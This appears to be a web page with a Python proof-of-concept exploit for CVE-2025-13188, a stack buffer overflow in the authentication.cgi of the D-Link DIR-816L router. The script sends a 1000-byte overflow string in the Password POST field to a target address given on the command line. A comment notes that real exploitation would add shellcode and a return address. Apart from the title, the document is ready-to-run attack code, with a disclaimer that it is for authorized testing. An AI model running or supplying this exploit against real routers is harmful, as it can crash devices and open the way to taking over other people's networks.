CVE-2025-13188: D-Link DIR-816L authentication.cgi 栈缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-13188 PoC - D-Link DIR-816L authentication.cgi Buffer Overflow # Note: This PoC is for educational and authorized testing purposes only import requests import sys def exploit_dlink_dir816l(target_ip, target_port=80): """ Exploit CVE-2025-13188: Stack-based buffer overflow in authentication.cgi Args: target_ip: Target router IP address target_port: Target router web port (default: 80) Returns: bool: True if exploit sent successfully, False otherwise """ # Target URL for the vulnerable endpoint url = f"http://{target_ip}:{target_port}/authentication.cgi" # Create a long payload to trigger buffer overflow # The exact overflow length may vary based on firmware version # Using 1000 bytes as a test payload - adjust based on testing overflow_length = 1000 # Prepare the malicious Password parameter # In real exploitation, this would contain shellcode + return address malicious_password = "A" * overflow_length # Prepare POST data data = { "Password": malicious_password, "submit_id": "submit_login", "submit_value": "Login" } # Set appropriate headers headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-13188-PoC)" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(malicious_password)} bytes") # Send the malicious request response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Exploit request sent successfully") print(f"[*] Response status code: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Error sending exploit: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-13188.py <target_ip> [port]") print("Example: python3 cve-2025-13188.py 192.168.0.1 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_dlink_dir816l(target, port)